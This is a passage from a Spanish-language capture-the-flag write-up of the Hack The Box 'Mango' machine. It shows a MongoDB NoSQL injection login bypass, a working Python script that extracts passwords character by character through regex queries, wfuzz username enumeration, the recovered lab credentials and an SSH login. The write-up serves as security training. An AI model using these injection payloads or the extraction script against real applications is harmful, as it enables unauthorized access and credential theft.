</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 3953
</span></span><span style="display:flex;"><span>Content-Type: application/json
</span></span><span style="display:flex;"><span>Date: Fri, 03 Apr 2020 05:57:05 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;f71-5938a794b5495&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Fri, 27 Sep 2019 15:23:53 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        &#34;authors&#34;: [
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>                &#34;email&#34;: &#34;alcaeus@alcaeus.org&#34;,
</span></span><span style="display:flex;"><span>                &#34;name&#34;: &#34;alcaeus&#34;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>                &#34;email&#34;: &#34;olivier.lechevalier@gmail.com&#34;,
</span></span><span style="display:flex;"><span>                &#34;name&#34;: &#34;Olivier Lechevalier&#34;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>        &#34;autoload&#34;: {
</span></span><span style="display:flex;"><span>            &#34;files&#34;: [
</span></span><span style="display:flex;"><span>                &#34;lib/Mongo/functions.php&#34;
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            &#34;psr-0&#34;: {
</span></span><span style="display:flex;"><span>                &#34;Mongo&#34;: &#34;lib/Mongo&#34;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            &#34;psr-4&#34;: {
</span></span><span style="display:flex;"><span>                &#34;Alcaeus\\MongoDbAdapter\\&#34;: &#34;lib/Alcaeus/MongoDbAdapter&#34;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;description&#34;: &#34;Adapter to provide ext-mongo interface on top of mongo
</span></span><span style="display:flex;"><span>        &#34;dist&#34;: {
</span></span><span style="display:flex;"><span>            &#34;reference&#34;: &#34;93b81ebef1b3a4d3ceb72f13a35057fe08a5048f&#34;,
</span></span><span style="display:flex;"><span>            &#34;shasum&#34;: &#34;&#34;,
</span></span><span style="display:flex;"><span>            &#34;type&#34;: &#34;zip&#34;,
</span></span><span style="display:flex;"><span>            &#34;url&#34;: &#34;https://api.github.com/repos/alcaeus/mongo-php-adapter/zip
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;extra&#34;: {
</span></span><span style="display:flex;"><span>            &#34;branch-alias&#34;: {
</span></span><span style="display:flex;"><span>                &#34;dev-master&#34;: &#34;1.1.x-dev&#34;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;installation-source&#34;: &#34;dist&#34;,
</span></span><span style="display:flex;"><span>        &#34;keywords&#34;: [
</span></span><span style="display:flex;"><span>            &#34;database&#34;,
</span></span><span style="display:flex;"><span>            &#34;mongodb&#34;
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>        &#34;license&#34;: [
</span></span><span style="display:flex;"><span>            &#34;MIT&#34;
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>        &#34;name&#34;: &#34;alcaeus/mongo-php-adapter&#34;,
</span></span><span style="display:flex;"><span>        &#34;notification-url&#34;: &#34;https://packagist.org/downloads/&#34;,
</span></span><span style="display:flex;"><span>        &#34;provide&#34;: {
</span></span><span style="display:flex;"><span>            &#34;ext-mongo&#34;: &#34;1.6.14&#34;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;require&#34;: {
</span></span><span style="display:flex;"><span>            &#34;ext-ctype&#34;: &#34;*&#34;,
</span></span><span style="display:flex;"><span>            &#34;ext-hash&#34;: &#34;*&#34;,
</span></span><span style="display:flex;"><span>            &#34;ext-mongodb&#34;: &#34;^1.2.0&#34;,
</span></span><span style="display:flex;"><span>            &#34;mongodb/mongodb&#34;: &#34;^1.0.1&#34;,
</span></span><span style="display:flex;"><span>            &#34;php&#34;: &#34;^5.6 || ^7.0&#34;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;require-dev&#34;: {
</span></span><span style="display:flex;"><span>            &#34;phpunit/phpunit&#34;: &#34;^5.7.27 || ^6.0 || ^7.0&#34;,
</span></span><span style="display:flex;"><span>            &#34;squizlabs/php_codesniffer&#34;: &#34;^3.2&#34;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;source&#34;: {
</span></span><span style="display:flex;"><span>            &#34;reference&#34;: &#34;93b81ebef1b3a4d3ceb72f13a35057fe08a5048f&#34;,
</span></span><span style="display:flex;"><span>            &#34;type&#34;: &#34;git&#34;,
</span></span><span style="display:flex;"><span>            &#34;url&#34;: &#34;https://github.com/alcaeus/mongo-php-adapter.git&#34;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;time&#34;: &#34;2019-08-07T05:52:28+00:00&#34;,
</span></span><span style="display:flex;"><span>        &#34;type&#34;: &#34;library&#34;,
</span></span><span style="display:flex;"><span>        &#34;version&#34;: &#34;1.1.9&#34;,
</span></span><span style="display:flex;"><span>        &#34;version_normalized&#34;: &#34;1.1.9.0&#34;
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        &#34;authors&#34;: [
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>                &#34;email&#34;: &#34;jmikola@gmail.com&#34;,
</span></span><span style="display:flex;"><span>                &#34;name&#34;: &#34;Jeremy Mikola&#34;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>                &#34;email&#34;: &#34;bjori@mongodb.com&#34;,
</span></span><span style="display:flex;"><span>                &#34;name&#34;: &#34;Hannes Magnusson&#34;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>                &#34;email&#34;: &#34;github@derickrethans.nl&#34;,
</span></span><span style="display:flex;"><span>                &#34;name&#34;: &#34;Derick Rethans&#34;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>        &#34;autoload&#34;: {
</span></span><span style="display:flex;"><span>            &#34;files&#34;: [
</span></span><span style="display:flex;"><span>                &#34;src/functions.php&#34;
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            &#34;psr-4&#34;: {
</span></span><span style="display:flex;"><span>                &#34;MongoDB\\&#34;: &#34;src/&#34;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;description&#34;: &#34;MongoDB driver library&#34;,
</span></span><span style="display:flex;"><span>        &#34;dist&#34;: {
</span></span><span style="display:flex;"><span>            &#34;reference&#34;: &#34;5cffeb33b893b6bb04195b99ddc3955a29252339&#34;,
</span></span><span style="display:flex;"><span>            &#34;shasum&#34;: &#34;&#34;,
</span></span><span style="display:flex;"><span>            &#34;type&#34;: &#34;zip&#34;,
</span></span><span style="display:flex;"><span>            &#34;url&#34;: &#34;https://api.github.com/repos/mongodb/mongo-php-library/zip
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;homepage&#34;: &#34;https://jira.mongodb.org/browse/PHPLIB&#34;,
</span></span><span style="display:flex;"><span>        &#34;installation-source&#34;: &#34;dist&#34;,
</span></span><span style="display:flex;"><span>        &#34;keywords&#34;: [
</span></span><span style="display:flex;"><span>            &#34;database&#34;,
</span></span><span style="display:flex;"><span>            &#34;driver&#34;,
</span></span><span style="display:flex;"><span>            &#34;mongodb&#34;,
</span></span><span style="display:flex;"><span>            &#34;persistence&#34;
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>        &#34;license&#34;: [
</span></span><span style="display:flex;"><span>            &#34;Apache-2.0&#34;
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>        &#34;name&#34;: &#34;mongodb/mongodb&#34;,
</span></span><span style="display:flex;"><span>        &#34;notification-url&#34;: &#34;https://packagist.org/downloads/&#34;,
</span></span><span style="display:flex;"><span>        &#34;require&#34;: {
</span></span><span style="display:flex;"><span>            &#34;ext-hash&#34;: &#34;*&#34;,
</span></span><span style="display:flex;"><span>            &#34;ext-json&#34;: &#34;*&#34;,
</span></span><span style="display:flex;"><span>            &#34;ext-mongodb&#34;: &#34;^1.3.0&#34;,
</span></span><span style="display:flex;"><span>            &#34;php&#34;: &#34;&gt;=5.5&#34;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;require-dev&#34;: {
</span></span><span style="display:flex;"><span>            &#34;phpunit/phpunit&#34;: &#34;^4.8&#34;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;source&#34;: {
</span></span><span style="display:flex;"><span>            &#34;reference&#34;: &#34;5cffeb33b893b6bb04195b99ddc3955a29252339&#34;,
</span></span><span style="display:flex;"><span>            &#34;type&#34;: &#34;git&#34;,
</span></span><span style="display:flex;"><span>            &#34;url&#34;: &#34;https://github.com/mongodb/mongo-php-library.git&#34;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        &#34;time&#34;: &#34;2017-10-27T19:42:57+00:00&#34;,
</span></span><span style="display:flex;"><span>        &#34;type&#34;: &#34;library&#34;,
</span></span><span style="display:flex;"><span>        &#34;version&#34;: &#34;1.2.0&#34;,
</span></span><span style="display:flex;"><span>        &#34;version_normalized&#34;: &#34;1.2.0.0&#34;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>]
</span></span></code></pre></div><p>Aquí es cuando hice click. Mango-Mongo. La aplicación usa mongodb para la autenticación, por eso mis pruebas iniciales no funcionaron. Así que lo siguiente que hacemos es ir al payloadAllTheThings y revisar las notas sobre nosqli.</p>
<h2 id="mongo-nosqli">Mongo NoSQLI</h2>
<p>Entre las notas, hay una manera interesante de evaluar si la aplicación es susceptible a una inyección NOSQLi tipo blind; podemos efectuar una condición true al enviarle un &ldquo;not equal&rdquo; con un valor &ldquo;no valido&rdquo;. Lo que buscamos con esta prueba, es un tipo de respuesta que indique un cambio en el code del response o en la cantidad de caracteres del reponse, así que tratemos de autenticarnos con el usuario y contraseña &ldquo;miau&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ http -f --proxy http:http://127.0.0.1:8080  POST http://staging-order.mango.htb/index.php &#39;username[$ne]=miau&#39; &#39;password[$ne]=miau&#39; login=login
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>Content-Length: 4022
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Fri, 03 Apr 2020 05:41:25 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=ju8qscanv6umtk7mqhu7m4ekd8; path=/
</span></span><span style="display:flex;"><span>location: home.php
</span></span></code></pre></div><p>La aplicación no encuentra fallas en mi lógica (miau no existe) y con esto nos pasamos por el arco del triunfo su validación. El 302 significa que hemos ingresado a la aplicación, nos da una cookie y nos manda a home.</p>
<blockquote>
<p>Una nota de importancia, el POST con x-www-form-urlencoded fue la parte que me dio dolores de cabeza en la siguiente parte, puesto que iba implícito en el request y fue me hizo perder tiempo ver que no obtenía CODE 302.</p>
</blockquote>
<p>Al entrar a la aplicación vemos que dentro del body de <code>home.php</code>, hay un correo que nos dice sobre la existencia de un usuario admin; <code>admin@mango.htb</code>. Así que ahora vamos por este usuario.</p>
<h2 id="admin">admin</h2>
<p>Dentro de las notas de payloadAllTheThings, hay un script de como realizar un brute force en peticiones POST, que convenientemente modificamos para esta máquina.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> urllib3
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> urllib
</span></span><span style="display:flex;"><span>urllib3<span style="color:#f92672">.</span>disable_warnings()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>u<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://staging-order.mango.htb/index.php&#34;</span>
</span></span><span style="display:flex;"><span>headers <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;application&#39;</span> : <span style="color:#e6db74">&#39;x-www-form-urlencoded&#39;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> c <span style="color:#f92672">in</span> string<span style="color:#f92672">.</span>printable:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> c <span style="color:#f92672">not</span> <span style="color:#f92672">in</span> [<span style="color:#e6db74">&#39;*&#39;</span>,<span style="color:#e6db74">&#39;+&#39;</span>,<span style="color:#e6db74">&#39;.&#39;</span>,<span style="color:#e6db74">&#39;?&#39;</span>,<span style="color:#e6db74">&#39;|&#39;</span>]:
</span></span><span style="display:flex;"><span>            payload<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#39;username[$eq]&#39;</span>:<span style="color:#e6db74">&#39;admin&#39;</span>, <span style="color:#e6db74">&#39;password[$regex]&#39;</span>: <span style="color:#e6db74">&#39;^</span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">%</span>(password <span style="color:#f92672">+</span> c), <span style="color:#e6db74">&#39;login&#39;</span>: <span style="color:#e6db74">&#39;login&#39;</span> }
</span></span><span style="display:flex;"><span>            r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(u, data <span style="color:#f92672">=</span> payload, headers <span style="color:#f92672">=</span> headers, verify <span style="color:#f92672">=</span> <span style="color:#66d9ef">False</span>, allow_redirects <span style="color:#f92672">=</span> <span style="color:#66d9ef">False</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> r<span style="color:#f92672">.</span>status_code <span style="color:#f92672">==</span> <span style="color:#ae81ff">302</span>:
</span></span><span style="display:flex;"><span>                print(<span style="color:#e6db74">&#34;Found one more char : </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> (password<span style="color:#f92672">+</span>c))
</span></span><span style="display:flex;"><span>                password <span style="color:#f92672">+=</span> c
</span></span></code></pre></div><ul>
<li>Dejamos fijo el valor del usuario, en este caso <strong>admin</strong>.</li>
<li>Lo único que necesitamos es un código de respuesta <strong>302</strong> para saber que la petición fue correcta.</li>
<li>Dentro de los headers, necesitamos que nuestra petición POST tenga x-www-form-urlencoded para que el servidor la acepte.</li>
</ul>
<p>Este brute forcer funciona gracias a las expresiones regulares, por que lo que realiza es preguntarle a la aplicación si la contraseña inicia con &lsquo;X&rsquo;, donde esto es un char imprimible y poco a poco, la aplicación le va contestando que &ldquo;Si&rdquo; conforme se le vuelve a preguntar (incremental). Cuando analice esto la primera vez, en mi cabeza se puso la imagen de: día de examen, el alumno preguntón que va y le pregunta al maestro si va bien y mal en &lsquo;X&rsquo; parte. Se levanta una y otra vez a preguntarle al profesor. &ldquo;Robo hormiga&rdquo;.</p>
<p>Al ejecutar el script tenemos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ python discover_admin.py
</span></span><span style="display:flex;"><span>Found one more char : t
</span></span><span style="display:flex;"><span>Found one more char : t9
</span></span><span style="display:flex;"><span>Found one more char : t9K
</span></span><span style="display:flex;"><span>Found one more char : t9Kc
</span></span><span style="display:flex;"><span>Found one more char : t9KcS
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#2
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#2$
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#2$$
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#2$$$
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#2$$$$
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#2$$$$$
</span></span><span style="display:flex;"><span>Found one more char : t9KcS3&gt;!0B#2$$$$$$
</span></span></code></pre></div><p>Continua <em>true</em> porque el inicio siempre es valido y porque no sabemos la longitud de la password.</p>
<blockquote>
<p>admin:t9KcS3&gt;!0B#2</p>
</blockquote>
<p>Probamos las credenciales descubiertas para admin:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ http --header -f --proxy http:http://127.0.0.1:8080  POST http://staging-order.mango.htb/index.php &#39;username=admin&#39; &#39;password=t9KcS3&gt;!0B#2&#39; login=login
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>Content-Length: 4022
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Fri, 03 Apr 2020 06:04:42 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=8mv78eer1d1dp7u84acl3ncscj; path=/
</span></span><span style="display:flex;"><span>location: home.php
</span></span></code></pre></div><p>La respuesta es la esperada, así que podemos ir con burpsuite o firefox, y explorar la aplicación.</p>
<p>Unos minutos después, me dí cuenta de que no había nada relevante en esta parte, así que trate de ingresar por SSH con estas credenciales pero no tuve éxito. Así fue que después de darle mas vueltas, dí un paso atrás y decidí buscar mas usuarios.</p>
<h2 id="cewl">cewl</h2>
<p>Usamos cewl para tomar cualquier valor que nos pueda servir dentro de la aplicación, y con esto, creamos un diccionario con mayúsculas y minúsculas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ (cewl http://staging-order.mango.htb; cewl http://staging-order.mango.htb | tr &#39;[:upper:]&#39; &#39;[:lower:]&#39; ; cewl http://staging-order.mango.htb | tr &#39;[:lower:]&#39; &#39;[:upper:]&#39;)  | grep -vi ninja | tee dict1.txt
</span></span><span style="display:flex;"><span>Mango
</span></span><span style="display:flex;"><span>Sweet
</span></span><span style="display:flex;"><span>Juicy
</span></span><span style="display:flex;"><span>Welcome
</span></span><span style="display:flex;"><span>Back
</span></span><span style="display:flex;"><span>Log
</span></span><span style="display:flex;"><span>for
</span></span><span style="display:flex;"><span>ordering
</span></span><span style="display:flex;"><span>Forgot
</span></span><span style="display:flex;"><span>Password
</span></span><span style="display:flex;"><span>LOGIN
</span></span><span style="display:flex;"><span>mango
</span></span><span style="display:flex;"><span>sweet
</span></span><span style="display:flex;"><span>juicy
</span></span><span style="display:flex;"><span>welcome
</span></span><span style="display:flex;"><span>back
</span></span><span style="display:flex;"><span>log
</span></span><span style="display:flex;"><span>for
</span></span><span style="display:flex;"><span>ordering
</span></span><span style="display:flex;"><span>forgot
</span></span><span style="display:flex;"><span>password
</span></span><span style="display:flex;"><span>login
</span></span><span style="display:flex;"><span>MANGO
</span></span><span style="display:flex;"><span>SWEET
</span></span><span style="display:flex;"><span>JUICY
</span></span><span style="display:flex;"><span>WELCOME
</span></span><span style="display:flex;"><span>BACK
</span></span><span style="display:flex;"><span>LOG
</span></span><span style="display:flex;"><span>FOR
</span></span><span style="display:flex;"><span>ORDERING
</span></span><span style="display:flex;"><span>FORGOT
</span></span><span style="display:flex;"><span>PASSWORD
</span></span><span style="display:flex;"><span>LOGIN
</span></span></code></pre></div><p>Ahora usando <code>wfuzz</code> hacemos bruteforce de todos los posibles usuarios dentro del diccionario. Para la contraseña usamos una condición mayor a 1, aunque también hubiera funcionado con un &ldquo;not equal&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ wfuzz -w dict1.txt --sc 302 -d &#39;username%5B%24eq%5D=FUZZ&amp;password%5B%24gt%5D=1&amp;login=login&#39; http://staging-order.mango.htb/index.php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>* Wfuzz 2.4.5 - The Web Fuzzer                         *
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://staging-order.mango.htb/index.php
</span></span><span style="display:flex;"><span>Total requests: 33
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>===================================================================
</span></span><span style="display:flex;"><span>ID           Response   Lines    Word     Chars       Payload
</span></span><span style="display:flex;"><span>===================================================================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>000000012:   302        209 L    403 W    4022 Ch     &#34;mango&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Total time: 0.520117
</span></span><span style="display:flex;"><span>Processed Requests: 33
</span></span><span style="display:flex;"><span>Filtered Requests: 32
</span></span><span style="display:flex;"><span>Requests/sec.: 63.44717
</span></span></code></pre></div><p>Descubrimos al usuario mango, porque ya saben, &ldquo;creatividad&rdquo;. Extendí el ataque con otro diccionario y busque más usuarios:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ wfuzz -w ~/git/SecLists/Usernames/xato-net-10-million-usernames.txt --sc 302 -d &#39;username%5B%24eq%5D=FUZZ&amp;password%5B%24gt%5D=1&amp;login=login&#39; http://staging-order.mango.htb/index.php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>* Wfuzz 2.4.5 - The Web Fuzzer                         *
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://staging-order.mango.htb/index.php
</span></span><span style="display:flex;"><span>Total requests: 8295455
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>===================================================================
</span></span><span style="display:flex;"><span>ID           Response   Lines    Word     Chars       Payload
</span></span><span style="display:flex;"><span>===================================================================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>000000002:   302        209 L    403 W    4022 Ch     &#34;admin&#34;
</span></span><span style="display:flex;"><span>000003736:   302        209 L    403 W    4022 Ch     &#34;mango&#34;
</span></span><span style="display:flex;"><span>^C
</span></span><span style="display:flex;"><span>Finishing pending requests...
</span></span></code></pre></div><p>Después de un muchas búsquedas, cancele el bruteforce y continué con lo siguiente, bruteforce a la contraseña de mango.</p>
<h2 id="mango-at-mangohtb">mango at mango.htb</h2>
<p>Copie el archivo de <code>discover_admin.py</code>, modifique el usuario y lance el nuevo script <code>discover_mango.py</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ python discover_mango.py
</span></span><span style="display:flex;"><span>Found one more char : h
</span></span><span style="display:flex;"><span>Found one more char : h3
</span></span><span style="display:flex;"><span>Found one more char : h3m
</span></span><span style="display:flex;"><span>Found one more char : h3mX
</span></span><span style="display:flex;"><span>Found one more char : h3mXK
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8R
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8Rh
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{]
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{]f
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{]f5
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{]f5H
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{]f5H$
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{]f5H$$
</span></span><span style="display:flex;"><span>Found one more char : h3mXK8RhU~f{]f5H$$$
</span></span></code></pre></div><p>Ahora tenemos otras credenciales mas.</p>
<blockquote>
<p>mango:h3mXK8RhU~f{]f5H</p>
</blockquote>
<h1 id="from-mango-to-admin">from mango to admin</h1>
<h2 id="ssh-as-mango">ssh as mango</h2>
<p>Ahora con estas nuevas credenciales, probé nuevamente el servicio SSH, esta vez, teniendo éxito:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~$ ssh mango@10.10.10.162
</span></span><span style="display:flex;"><span>mango@10.10.10.162&#39;s password:
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/advantage
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System information as of Fri Apr  3 06:26:43 UTC 2020
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System load:  0.82               Processes:            115
</span></span><span style="display:flex;"><span>  Usage of /:   26.0% of 19.56GB   Users logged in:      1
</span></span><span style="display:flex;"><span>  Memory usage: 29%                IP address for ens33: 10.10.10.162
</span></span><span style="display:flex;"><span>  Swap usage:   0%
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Canonical Livepatch is available for installation.
</span></span><span style="display:flex;"><span>   - Reduce system reboots and improve kernel security. Activate at:
</span></span><span style="display:flex;"><span>     https://ubuntu.com/livepatch
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>122 packages can be updated.
</span></span><span style="display:flex;"><span>18 updates are security updates.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last login: Fri Apr  3 06:17:46 2020 from 10.10.14.3
</span></span><span style="display:flex;"><span>mango@mango:~$ id
</span></span><span style="display:flex;"><span>uid=1000(mango) gid=1000(mango) groups=1000(mango)
